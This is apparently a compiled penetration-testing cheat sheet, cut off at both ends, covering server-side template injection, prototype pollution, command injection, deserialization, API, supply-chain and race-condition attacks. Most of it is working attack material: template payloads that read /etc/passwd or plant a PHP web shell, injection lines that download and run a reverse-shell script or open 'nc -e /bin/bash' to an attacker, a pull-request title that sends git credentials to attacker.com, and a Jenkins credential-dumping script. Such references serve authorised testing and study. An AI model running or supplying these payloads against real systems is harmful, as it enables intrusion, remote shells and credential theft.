{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
{{7*7}}
{{7*'7'}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{$smarty.version}
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

# Node.js Backend based 
{{ this }}-> [Object Object]
{{ this.__proto__ }}-> [Object Object]
{{ this.__proto__.constructor.name }}-> Object
{{this.constructor.constructor}}
{{this. constructor. constructor('process.pid')()}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

# Java
${7*7}
<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
${T(java.lang.System).getenv()}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}

# Ruby
<%= system("whoami") %>
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>

# Python
{% debug %}
{{settings.SECRET_KEY}}
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}

# Perl
<%= perl code %>
<% perl code %>

# Flask/Jinja2
{{ '7'*7 }}
{{ [].class.base.subclasses() }} # get all classes
{{''.class.mro()[1].subclasses()}}
{%for c in [1,2,3] %}{{c,c,c}}{% endfor %}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

# .Net
@(1+2)
@{// C# code}
```


# Prototype Pollution

Prototype pollution is a JavaScript vulnerability that allows attackers to modify the prototype of base objects, potentially leading to XSS, RCE, or DoS.

## How It Works

```javascript
// JavaScript objects inherit from Object.prototype
let obj = {};
console.log(obj.toString); // inherited from Object.prototype

// Pollution occurs when attacker controls property assignment
obj.__proto__.polluted = "yes";
// OR
obj["__proto__"]["polluted"] = "yes";
// OR
obj.constructor.prototype.polluted = "yes";

// Now ALL objects have this property
let newObj = {};
console.log(newObj.polluted); // "yes"
```

## Detection

### Manual Testing

```javascript
// Test in browser console or via URL parameters
// Check if prototype is pollutable

// Via URL query string
?__proto__[test]=polluted
?__proto__.test=polluted
?constructor[prototype][test]=polluted

// Via JSON body
{"__proto__": {"test": "polluted"}}
{"constructor": {"prototype": {"test": "polluted"}}}

// Verify pollution
Object.prototype.test === "polluted"
```

### Automated Detection

```bash
# PPScan - Prototype Pollution Scanner
# https://github.com/AhmedMohamedDev/PPScan
python3 ppscan.py -u "https://target.com/?param=value"

# Client-side prototype pollution scanner
# https://github.com/AhmedMohamedDev/ClientSidePrototypePollution
node ClientSidePrototypePollution.js -u "https://target.com"

# Burp extension - Server-Side Prototype Pollution Scanner
# https://github.com/AhmedMohamedDev/Burp-PrototypePollutionScanner

# ppmap - Prototype Pollution Exploiter
# https://github.com/AhmedMohamedDev/ppmap
ppmap -u "https://target.com"
```

## Common Sinks (Client-Side)

```javascript
// Object.assign
Object.assign({}, userInput);

// Lodash merge (before 4.17.21)
_.merge({}, userInput);
_.set({}, path, value);
_.setWith({}, path, value);

// jQuery extend
$.extend(true, {}, userInput);

// Deep merge libraries
deepmerge({}, userInput);
```

## Exploitation Payloads

### DOM XSS via Prototype Pollution

```javascript
// If application uses innerHTML with polluted properties
?__proto__[innerHTML]=<img/src/onerror=alert(1)>

// Pollute srcdoc for iframes
?__proto__[srcdoc]=<script>alert(1)</script>

// Pollute href for anchors
?__proto__[href]=javascript:alert(1)
```

### Gadgets for Common Libraries

```javascript
// jQuery < 3.4.0 (CVE-2019-11358)
$.extend(true, {}, JSON.parse('{"__proto__": {"test": "alert(1)"}}'));

// Lodash < 4.17.12 (CVE-2019-10744)
_.template('', {variable: 'x'}); // with polluted sourceURL
?__proto__[sourceURL]=\u000aAlert(1)//

// Vue.js
?__proto__[v-if]=_c.constructor('alert(1)')()

// Handlebars
?__proto__[pendingContent]=<script>alert(1)</script>

// Pug/Jade
?__proto__[block]={"type":"Text","val":"<script>alert(1)</script>"}
```

### Server-Side Prototype Pollution (Node.js)

```javascript
// RCE via child_process
{"__proto__": {"shell": "/proc/self/exe", "argv0": "console.log(require('child_process').execSync('id').toString())//"}}

// RCE via env pollution
{"__proto__": {"env": {"NODE_OPTIONS": "--require /proc/self/fd/0"}}}

// DoS via constructor pollution
{"__proto__": {"toString": "not a function"}}
```

## Bypass Techniques

```javascript
// Alternative property paths
constructor.prototype.polluted=1
__proto__.polluted=1
__proto__[polluted]=1

// Unicode encoding
\u005f\u005fproto\u005f\u005f

// Mixed case (rare)
__PROTO__

// Array pollution
[].__proto__.polluted=1
```

## Tools & Resources

```bash
# Scanning
https://github.com/AhmedMohamedDev/PPScan
https://github.com/AhmedMohamedDev/ClientSidePrototypePollution
https://github.com/AhmedMohamedDev/ppmap

# Gadget database
https://github.com/AhmedMohamedDev/client-side-prototype-pollution

# Burp Extension
https://portswigger.net/bappstore/c1d4bd60626d4178a54d36ee802cf7e8
```

## Related Topics

* [XSS](/enumeration/web/xss) - Prototype pollution often chains to XSS
* [Deserialization](/enumeration/web/deserialization) - Similar object manipulation concepts
* [SSTI](/enumeration/web/ssti) - Template engines can be affected


# Command Injection

{% hint style="info" %}
Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application.
{% endhint %}

```
# For detection, try to concatenate another command to param value
&
;
Newline (0x0a or \n)
&&
|
||
# like: https://target.com/whatever?param=1|whoami

# Blind (Time delay)
https://target.com/whatever?param=x||ping+-c+10+127.0.0.1||

# Blind (Redirect)
https://target.com/whatever?param=x||whoami>/var/www/images/output.txt||

# Blind (OOB)
https://target.com/whatever?param=x||nslookup+burp.collaborator.address||
https://target.com/whatever?param=x||nslookup+`whoami`.burp.collaborator.address||

# Common params:
cmd
exec
command
execute
ping
query
jump
code
reg
do
func
arg
option
load
process
step
read
function
req
feature
exe
module
payload
run
print

# Useful Commands: Linux
whoami
ifconfig
ls
uname -a

# Useful Commands: Windows
whoami
ipconfig
dir
ver

# Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id 
ls|id; ls |id; ls| id; ls | id 
ls&&id; ls &&id; ls&& id; ls && id 
ls&id; ls &id; ls& id; ls & id 
ls %0A id

# Time Delay Commands
& ping -c 10 127.0.0.1 &

# Redirecting output
& whoami > /var/www/images/output.txt &

# OOB (Out Of Band) Exploitation
& nslookup attacker-server.com &
& nslookup `whoami`.attacker-server.com &

# WAF bypasses
vuln=127.0.0.1 %0a wget https://evil.txt/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash <attacker-ip> <attacker-port>
vuln=echo PAYLOAD > /tmp/payload.txt; cat /tmp/payload.txt | base64 -d > /tmp/payload; chmod 744 /tmp/payload; /tmp/payload

# Some filter bypasses
cat /etc/passwd
cat /e”t”c/pa”s”swd
cat /’e’tc/pa’s’ swd
cat /etc/pa??wd
cat /etc/pa*wd
cat /et’ ‘c/passw’ ‘d
cat /et$()c/pa$()$swd
{cat,/etc/passwd}
cat /???/?????d

# Tools
https://github.com/commixproject/commix
```

## Related Topics

* [XSS](/enumeration/web/xss) - Cross-site scripting attacks
* [SSRF](/enumeration/web/ssrf) - Server-side request forgery
* [LFI/RFI](/enumeration/web/lfi-rfi) - File inclusion vulnerabilities
* [Web Exploits](/exploitation/web-exploits) - RCE exploitation chains
* [Reverse Shells](/exploitation/reverse-shells) - Shell payloads


# Deserialization

{% hint style="info" %}
Insecure deserialization is when user-controllable data is deserialized by a website. This potentially enables an attacker to manipulate serialized objects in order to pass harmful data into the application code.

Objects of any class that is available to the website will be deserialized and instantiated, regardless of which class was expected. An object of an unexpected class might cause an exception. By this time, however, the damage may already be done. Many deserialization-based attacks are completed before deserialization is finished. This means that the deserialization process itself can initiate an attack, even if the website's own functionality does not directly interact with the malicious object.
{% endhint %}

## Vulnerable functions

```
# PHP
unserialize()

# Python
pickle/c_pickle/_pickle with load/loads
PyYAML with load
jsonpickle with encode or store methods>/tmp/f

# Java
# Whitebox
XMLdecoder with external user defined parameters
XStream with fromXML method (xstream version <= v1.46 is vulnerable to the serialization issue)
ObjectInputStream with readObject
Uses of readObject, readObjectNodData, readResolve or readExternal
ObjectInputStream.readUnshared
Serializable
# Blackbox
AC ED 00 05 in Hex
rO0 in Base64
Content-type: application/x-java-serialized-object
# ysoserial
java -jar ysoserial.jar CommonsCollections4 'command'

# .Net
# Whithebox
TypeNameHandling
JavaScriptTypeResolver
# Blackbox
AAEAAAD/////
TypeObject
$type
```

## Tools

```
# Java
# Ysoserial: https://github.com/frohoff/ysoserial
java -jar ysoserial.jar CommonsCollections4 'command'
# Java Deserialization Scanner: https://github.com/federicodotta/Java-Deserialization-Scanner
# SerialKiller: https://github.com/ikkisoft/SerialKiller
# Serianalyzer: https://github.com/mbechler/serianalyzer
# Java Unmarshaller Security: https://github.com/mbechler/marshalsec
# Java Serial Killer: https://github.com/NetSPI/JavaSerialKiller
# Android Java Deserialization Vulnerability Tester: https://github.com/modzero/modjoda
# Java https://github.com/phith0n/zkar

# .NET
# Ysoserial.net: https://github.com/pwntester/ysoserial.net
ysoserial.exe -g ObjectDataProvider -f Json.Net -c “command-here” -o base64

# Burp-Plugins
# Java: https://github.com/DirectDefense/SuperSerial
# Java: https://github.com/DirectDefense/SuperSerial-Active
# Burp-ysoserial: https://github.com/summitt/burp-ysoserial
```


# DNS rebinding

### Services

```
https://sslip.io/
https://lock.cmpxchg8b.com/rebinder.html
```


# API Security

## API Discovery

### Passive Discovery

```bash
# Find API endpoints in JavaScript files
# https://github.com/m4ll0k/SecretFinder
python3 SecretFinder.py -i https://target.com -e

# https://github.com/GerbenJavado/LinkFinder
python3 linkfinder.py -i https://target.com -d -o cli

# Wayback Machine for historical endpoints
# https://github.com/tomnomnom/waybackurls
echo "target.com" | waybackurls | grep -E "api|v[0-9]|graphql"

# Search for API documentation
site:target.com filetype:yaml
site:target.com filetype:json swagger
site:target.com inurl:api-docs
site:target.com inurl:swagger
site:target.com inurl:openapi
```

### Active Discovery

```bash
# Directory bruteforce for API endpoints
ffuf -u https://target.com/FUZZ -w /path/to/api-wordlist.txt -mc 200,201,204,301,302,307,401,403,405

# Common API paths to check
/api/
/api/v1/
/api/v2/
/v1/
/v2/
/graphql
/graphiql
/swagger/
/swagger-ui/
/swagger.json
/swagger.yaml
/openapi.json
/api-docs/
/docs/
/redoc/

# API versioning enumeration
for i in {1..10}; do curl -s "https://target.com/api/v$i/" -o /dev/null -w "v$i: %{http_code}\n"; done
```

## REST API Testing

### Authentication Bypass

```bash
# Try accessing endpoints without authentication
curl -X GET https://target.com/api/v1/users

# Try different HTTP methods
curl -X OPTIONS https://target.com/api/v1/admin
curl -X HEAD https://target.com/api/v1/admin
curl -X POST https://target.com/api/v1/admin

# Header manipulation
curl -H "X-Original-URL: /api/v1/admin" https://target.com/
curl -H "X-Rewrite-URL: /api/v1/admin" https://target.com/
curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/api/v1/admin
curl -H "X-Forwarded-Host: localhost" https://target.com/api/v1/admin

# HTTP method override
curl -X POST -H "X-HTTP-Method-Override: DELETE" https://target.com/api/v1/users/1
curl -X POST -H "X-Method-Override: PUT" https://target.com/api/v1/users/1
```

### IDOR (Insecure Direct Object Reference)

```bash
# Numeric ID enumeration
for i in {1..100}; do curl -s "https://target.com/api/v1/users/$i" | grep -v "not found"; done

# UUID/GUID prediction
# Check if UUIDs are sequential or predictable

# Parameter pollution
curl "https://target.com/api/v1/users?id=1&id=2"
curl "https://target.com/api/v1/users?id[]=1&id[]=2"

# JSON body parameter manipulation
curl -X POST https://target.com/api/v1/users \
  -H "Content-Type: application/json" \
  -d '{"user_id": 1, "user_id": 2}'

# Encoded IDs
# base64, hex, URL encoded
echo -n "1" | base64  # Try decoded/encoded values
```

### Mass Assignment

```bash
# Add unexpected parameters
curl -X POST https://target.com/api/v1/users \
  -H "Content-Type: application/json" \
  -d '{"username":"test", "role":"admin", "isAdmin":true, "is_admin":1}'

# Common parameters to try:
# role, admin, isAdmin, is_admin, privilege, permissions
# verified, active, approved, status
# balance, credits, points
# password, password_hash
```

### Rate Limiting Bypass

```bash
# IP rotation headers
curl -H "X-Forwarded-For: 1.2.3.4" https://target.com/api/v1/login
curl -H "X-Real-IP: 1.2.3.4" https://target.com/api/v1/login
curl -H "X-Client-IP: 1.2.3.4" https://target.com/api/v1/login
curl -H "X-Originating-IP: 1.2.3.4" https://target.com/api/v1/login

# Null byte injection
curl "https://target.com/api/v1/login%00"
curl "https://target.com/api/v1/login%0d%0a"

# Case variation
curl https://target.com/API/V1/LOGIN
curl https://target.com/Api/V1/Login

# Adding parameters
curl "https://target.com/api/v1/login?random=123"
```

### JWT Attacks

See dedicated [JWT section](/enumeration/webservices/jwt) for detailed attacks.

```bash
# Basic JWT testing
# https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py <JWT>

# None algorithm attack
python3 jwt_tool.py <JWT> -X a

# Key confusion (RS256 to HS256)
python3 jwt_tool.py <JWT> -X k -pk public.pem

# Brute force secret
python3 jwt_tool.py <JWT> -C -d /path/to/wordlist.txt
```

## GraphQL Testing

### Discovery

```bash
# Common GraphQL endpoints
/graphql
/graphiql
/v1/graphql
/api/graphql
/graphql/console
/graphql.php
/graphql/api

# Check for introspection
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{__schema{types{name,fields{name}}}}"}'
```

### Introspection Query

```graphql
# Full introspection query
{
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args {
        ...InputValue
      }
    }
  }
}

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }
  inputFields {
    ...InputValue
  }
  interfaces {
    ...TypeRef
  }
  enumValues(includeDeprecated: true) {
    name
    description
    isDeprecated
    deprecationReason
  }
  possibleTypes {
    ...TypeRef
  }
}

fragment InputValue on __InputValue {
  name
  description
  type { ...TypeRef }
  defaultValue
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
        }
      }
    }
  }
}
```

### GraphQL Attacks

```bash
# Batching attack (bypass rate limits)
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '[{"query":"mutation{login(user:\"admin\",pass:\"pass1\")}"}, {"query":"mutation{login(user:\"admin\",pass:\"pass2\")}"}]'

# Field suggestion exploitation
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name}}}"}'

# Alias-based batching
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"query { a1: user(id:1) { id } a2: user(id:2) { id } a3: user(id:3) { id }}"}'

# Deeply nested queries (DoS)
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user { friends { friends { friends { friends { name }}}}}}"}'
```

### GraphQL Tools

```bash
# GraphQL Voyager - Visual schema
# https://github.com/APIs-guru/graphql-voyager

# InQL - Burp extension
# https://github.com/doyensec/inql

# graphql-cop - Security auditor
# https://github.com/dolevf/graphql-cop
python3 graphql-cop.py -t https://target.com/graphql

# Clairvoyance - Introspection bypass
# https://github.com/nikitastupin/clairvoyance
python3 clairvoyance.py https://target.com/graphql -o schema.json
```

## gRPC Testing

### Setup

```bash
# Install grpcurl
go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest

# Install grpc-client-cli
pip install grpc-client-cli
```

### Enumeration

```bash
# List services (if reflection enabled)
grpcurl -plaintext target.com:50051 list

# Describe service
grpcurl -plaintext target.com:50051 describe ServiceName

# Describe method
grpcurl -plaintext target.com:50051 describe ServiceName.MethodName

# Call method
grpcurl -plaintext -d '{"name": "test"}' target.com:50051 ServiceName/MethodName
```

### gRPC Attacks

```bash
# Test without TLS
grpcurl -plaintext target.com:50051 list

# Test with insecure TLS
grpcurl -insecure target.com:443 list

# Header injection
grpcurl -H "X-Forwarded-For: 127.0.0.1" target.com:50051 ServiceName/Method

# Message manipulation
grpcurl -d '{"id": -1}' target.com:50051 ServiceName/GetUser
grpcurl -d '{"id": 9999999999}' target.com:50051 ServiceName/GetUser
```

## API-Specific Vulnerabilities

### Broken Object Level Authorization (BOLA)

```bash
# Test horizontal privilege escalation
# 1. Create two user accounts
# 2. Get object IDs from user A
# 3. Try to access those objects as user B

curl -H "Authorization: Bearer USER_B_TOKEN" \
  https://target.com/api/v1/users/USER_A_ID/documents
```

### Broken Function Level Authorization (BFLA)

```bash
# Test vertical privilege escalation
# Access admin functions with regular user token

curl -H "Authorization: Bearer REGULAR_USER_TOKEN" \
  -X POST https://target.com/api/v1/admin/users \
  -d '{"role": "admin"}'

# Check for hidden admin endpoints
/api/v1/admin/
/api/v1/internal/
/api/v1/management/
/api/v1/debug/
```

### Server-Side Request Forgery (SSRF)

```bash
# Test URL parameters
curl "https://target.com/api/v1/fetch?url=http://169.254.169.254/latest/meta-data/"
curl "https://target.com/api/v1/fetch?url=http://localhost:8080/admin"

# Webhook endpoints
curl -X POST https://target.com/api/v1/webhooks \
  -H "Content-Type: application/json" \
  -d '{"callback_url": "http://attacker.com/callback"}'
```

### Excessive Data Exposure

```bash
# Check for verbose responses
# Look for fields like:
# - password, password_hash, secret
# - internal_id, debug_info
# - email, phone, address (for other users)
# - api_key, access_token

# Compare responses between endpoints
diff <(curl -s https://target.com/api/v1/users/1) \
     <(curl -s https://target.com/api/v1/users/1/public)
```

## Tools

```bash
# Postman - API testing
# https://www.postman.com/

# Insomnia - API client
# https://insomnia.rest/

# Burp Suite - Proxy & scanner
# Extensions: Authorize, AuthMatrix, InQL

# OWASP ZAP - OpenAPI scanning
# https://www.zaproxy.org/

# Arjun - Parameter discovery
# https://github.com/s0md3v/Arjun
arjun -u https://target.com/api/v1/endpoint

# ParamSpider - Parameter mining
# https://github.com/devanshbatham/ParamSpider
python3 paramspider.py -d target.com

# Kiterunner - API endpoint discovery
# https://github.com/assetnote/kiterunner
kr scan https://target.com -w routes-large.kite
```

## Resources

* [OWASP API Security Top 10](https://owasp.org/www-project-api-security/)
* [API Security Checklist](https://github.com/shieldfy/API-Security-Checklist)
* [HackTricks - Web API Pentesting](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/web-api-pentesting)
* [PortSwigger - API Testing](https://portswigger.net/web-security/api-testing)


# Supply Chain Attacks

## Overview

Supply chain attacks target the software development and delivery process, compromising dependencies, build systems, or distribution channels to inject malicious code into legitimate software.

## Dependency Confusion

### Concept

When an organization uses private packages with the same name available on public registries, attackers can upload malicious packages with higher version numbers to public registries.

### Exploitation

```bash
# 1. Find private package names
# Look in package.json, requirements.txt, pom.xml, etc.
# Check JavaScript source for import statements
grep -r "require\|import" --include="*.js" .

# 2. Check if package exists on public registry
npm view private-package-name
pip index versions private-package-name

# 3. Create malicious package with higher version
# npm
npm init
# Set version higher than internal (e.g., 99.0.0)
npm publish

# pip
# Create setup.py with higher version
python setup.py sdist
twine upload dist/*
```

### Detection

```bash
# Check for dependency confusion vulnerability
# https://github.com/visma-prodsec/confused
confused -l npm package.json

# https://github.com/AyoubAbeworworki/dep-confusion-detect
python3 dep-confusion-detect.py -r requirements.txt
```

## Typosquatting

### Concept

Registering package names similar to popular packages to catch typos.

### Common Patterns

```bash
# Typo patterns to check:
# - Missing characters: reqests (requests)
# - Extra characters: requestss
# - Character swap: requetss
# - Similar looking: requestz, request5
# - Wrong TLD: lodash-npm (vs lodash)

# Generate typosquat candidates
# https://github.com/elfmaster/typosquatting
./typosquat.py express

# Check npm
for pkg in expres expresss exprss; do npm view $pkg 2>/dev/null && echo "EXISTS: $pkg"; done

# Check PyPI
for pkg in reqests requsets requets; do pip index versions $pkg 2>/dev/null && echo "EXISTS: $pkg"; done
```

### Finding Vulnerable Packages

```bash
# Search for common typos in target's dependencies
# Look for:
# - Misspelled package names
# - Packages with low download counts
# - Recently published packages claiming to be popular

# NPM package analysis
npm audit
npm ls --all

# Python
pip-audit
safety check -r requirements.txt

# Snyk for comprehensive scanning
snyk test
```

## CI/CD Pipeline Attacks

### GitHub Actions Exploitation

```yaml
# Vulnerable workflow - using untrusted input
name: Vulnerable Workflow
on:
  pull_request_target:
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
        with:
          ref: ${{ github.event.pull_request.head.ref }}  # Dangerous!
      - run: |
          echo "PR Title: ${{ github.event.pull_request.title }}"  # Injection!
```

```bash
# Pwn Request - exploit pull_request_target
# Create PR with malicious title:
# $(curl http://attacker.com/$(cat /home/runner/.git/credentials | base64))

# Inject into workflow
# PR title: test"; curl http://attacker.com/pwned #

# Secrets exfiltration via workflow
# Add to PR body/title:
# ${{ secrets.GITHUB_TOKEN }}
```

### GitLab CI Exploitation

```yaml
# Check for exposed CI variables
# .gitlab-ci.yml
variables:
  DEBUG: "true"
  # Secrets might be exposed in logs

script:
  - echo $CI_JOB_TOKEN  # Can be used for registry access
  - env  # Dumps all variables including secrets
```

### Jenkins Exploitation

```bash
# Check for exposed Jenkins instances
# Common endpoints:
/script
/scriptText
/computer/(master)/script

# Groovy console RCE
def cmd = "cat /etc/passwd"
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout

# Credential dumping
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
    com.cloudbees.plugins.credentials.common.StandardUsernameCredentials.class,
    Jenkins.instance,
    null,
    null
)
for (c in creds) {
    println(c.id + ": " + c.username + " / " + c.password)
}
```

## Package Repository Attacks

### NPM

```bash
# Check package for malicious scripts
npm pack <package-name>
tar -xzf package-name-*.tgz
cat package/package.json | jq '.scripts'

# Look for suspicious install scripts:
# - preinstall, install, postinstall
# - preuninstall, uninstall, postuninstall

# Check package history
npm view <package-name> versions
npm view <package-name>@<version> dist.tarball

# Audit for known vulnerabilities
npm audit
npm audit --json
```

### PyPI

```bash
# Download and inspect package
pip download <package-name> --no-deps
unzip <package>.whl -d extracted/

# Check setup.py for malicious code
cat extracted/setup.py

# Look for:
# - os.system(), subprocess calls
# - Encoded/obfuscated strings
# - Network requests during install
# - File system modifications

# Safety check
safety check -r requirements.txt
pip-audit
```

### Maven/Gradle

```xml
<!-- Check pom.xml for suspicious plugins -->
<!-- Look for exec-maven-plugin, build-helper-maven-plugin with suspicious configs -->

<!-- Verify package signatures -->
<!-- Check .asc files against GPG keys -->
```

## Third-Party Library Vulnerabilities

### Discovery

```bash
# Software Composition Analysis (SCA)
# Snyk
snyk test

# OWASP Dependency-Check
dependency-check --project "MyApp" --scan .

# npm
npm audit

# pip
pip-audit
safety check

# Go
go list -json -m all | nancy sleuth

# Trivy (containers and filesystems)
trivy fs .
trivy image myapp:latest
```

### Exploitation Research

```bash
# Check for known CVEs in dependencies
# https://nvd.nist.gov/
# https://security.snyk.io/
# https://github.com/advisories

# Search for PoCs
# GitHub: "CVE-XXXX-XXXX poc"
# Exploit-DB: searchsploit <library-name>

# Check dependency versions
npm ls
pip list
mvn dependency:tree
```

## Source Code Repository Attacks

### Exposed Credentials in Repositories

```bash
# Search for secrets in git history
# https://github.com/trufflesecurity/trufflehog
trufflehog git https://github.com/target/repo

# https://github.com/zricethezav/gitleaks
gitleaks detect -s /path/to/repo

# GitHub dorking
# Search for accidentally committed secrets
site:github.com "target.com" password
site:github.com "target.com" api_key
site:github.com "target.com" AWS_SECRET
```

### Commit Signature Verification Bypass

```bash
# Check if repo requires signed commits
git log --show-signature

# Unsigned commits might be accepted
# Impersonate commits by setting user.email
git config user.email "admin@target.com"
git commit -m "Malicious commit"
```

## Attack Vectors Summary

| Vector                  | Target               | Impact                  |
| ----------------------- | -------------------- | ----------------------- |
| Dependency Confusion    | Private packages     | Code execution          |
| Typosquatting           | Developers           | Credential theft        |
| CI/CD Injection         | Build pipelines      | Code execution, secrets |
| Malicious Packages      | Package registries   | Supply chain compromise |
| Compromised Maintainer  | Open source projects | Backdoors               |
| Build System Compromise | Build servers        | Signed malware          |

## Detection & Prevention

### For Attackers (Testing)

```bash
# Check if org is vulnerable to dependency confusion
# 1. Enumerate private package names from leaked files
# 2. Check if those names are unclaimed on public registries
# 3. Report or (if in scope) demonstrate with benign package

# Check for exposed CI/CD
# GitHub Actions: /.github/workflows/
# GitLab CI: /.gitlab-ci.yml
# Jenkins: /Jenkinsfile
```

### For Defenders

```bash
# Lock dependencies to specific versions
# Use lockfiles: package-lock.json, Pipfile.lock, go.sum

# Enable dependency scanning in CI/CD
# Use private registry with namespace reservation
# Implement Sigstore/cosign for package signing
# Enable GitHub secret scanning
```

## Tools

```bash
# Dependency Confusion
# https://github.com/visma-prodsec/confused
confused -l npm package.json

# Secret Scanning
# https://github.com/trufflesecurity/trufflehog
trufflehog git https://github.com/target/repo

# https://github.com/zricethezav/gitleaks
gitleaks detect -s /path/to/repo

# Software Composition Analysis
# https://github.com/anchore/syft
syft /path/to/project

# https://github.com/anchore/grype
grype /path/to/project

# CI/CD Security
# https://github.com/Checkmarx/kics
kics scan -p /path/to/.github/workflows
```

## Resources

* [Dependency Confusion Research](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
* [Backstabber's Knife Collection](https://github.com/nickvdyck/backstabbers-knife-collection)
* [CI/CD Goat - Vulnerable Pipeline](https://github.com/cider-security-research/cicd-goat)
* [SLSA - Supply Chain Security Framework](https://slsa.dev/)
* [OWASP Top 10 CI/CD Security Risks](https://owasp.org/www-project-top-10-ci-cd-security-risks/)


# Race Conditions

Race conditions occur when the timing of actions affects the outcome, allowing attackers to exploit the gap between check and use operations.

> **Skill Level**: Intermediate to Advanced\
> **Prerequisites**: HTTP understanding, concurrency concepts

## Concepts

### Time-of-Check to Time-of-Use (TOCTOU)

```
Normal flow:
1. Check: Is user balance >= $100?
2. Use: Deduct $100 from balance

Attack:
1. Send 10 parallel requests to buy $100 item
2. All checks happen before any deductions
3. All 10 purchases succeed with only $100 balance
```

### Common Vulnerable Operations

| Operation                 | Attack Goal                     |
| ------------------------- | ------------------------------- |
| Money transfers           | Double-spend, overdraft         |
| Coupon/voucher redemption | Multiple use of single-use code |
| Rate limiting             | Bypass request limits           |
| File upload               | Overwrite during processing     |
| Inventory/stock           | Purchase more than available    |
| Vote/like systems         | Multiple votes                  |
| Account creation          | Duplicate accounts              |

## Testing Tools

### Turbo Intruder (Burp Suite)

```python
# Basic race condition script
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=30,
                          requestsPerConnection=100,
                          pipeline=True)
    
    # Queue same request multiple times
    for i in range(30):
        engine.queue(target.req)

def handleResponse(req, interesting):
    table.add(req)
```

```python
# Single-packet attack (most effective)
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          requestsPerConnection=100,
                          pipeline=False)
    
    # Send all requests in single TCP packet
    for i in range(20):
        engine.queue(target.req, gate='race1')
    
    # Release all at once
    engine.openGate('race1')
```

### race-the-web

```bash
# https://github.com/TheHackerDev/race-the-web
# Configure in config.toml

[[targets]]
method = "POST"
url = "https://target.com/api/transfer"
body = '{"amount": 100, "to": "attacker"}'
cookies = "session=abc123"
count = 100

# Run
race-the-web config.toml
```

### Custom Python Script

```python
import asyncio
import aiohttp

async def send_request(session, url, data, headers):
    async with session.post(url, data=data, headers=headers) as response:
        return await response.text()

async def race_condition_test(url, data, headers, count=50):
    async with aiohttp.ClientSession() as session:
        tasks = [send_request(session, url, data, headers) for _ in range(count)]
        responses = await asyncio.gather(*tasks)
        return responses

# Run
url = "https://target.com/api/redeem"
data = {"code": "DISCOUNT50"}
headers = {"Cookie": "session=abc123", "Content-Type": "application/json"}

responses = asyncio.run(race_condition_test(url, data, headers, 100))
print(f"Success count: {responses.count('success')}")
```

### curl Parallel Requests

```bash
# Using GNU Parallel
seq 1 50 | parallel -j 50 "curl -s -X POST 'https://target.com/redeem' \
  -H 'Cookie: session=abc123' \
  -d 'code=SINGLE-USE'"

# Using xargs
printf 'https://target.com/redeem\n%.0s' {1..50} | \
  xargs -P 50 -I {} curl -s -X POST {} -H 'Cookie: session=abc123'

# Using bash backgrounding
for i in {1..50}; do
  curl -s -X POST "https://target.com/redeem" \
    -H "Cookie: session=abc123" \
    -d "code=DISCOUNT" &
done
wait
```

## Attack Scenarios

### Coupon/Discount Code Abuse

```http
POST /api/apply-coupon HTTP/1.1
Host: target.com
Cookie: session=abc123
Content-Type: application/json

{"coupon": "50OFF", "cart_id": "12345"}
```

```python
# Turbo Intruder - apply coupon multiple times
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=20,
                          requestsPerConnection=1,
                          pipeline=False)
    
    for i in range(20):
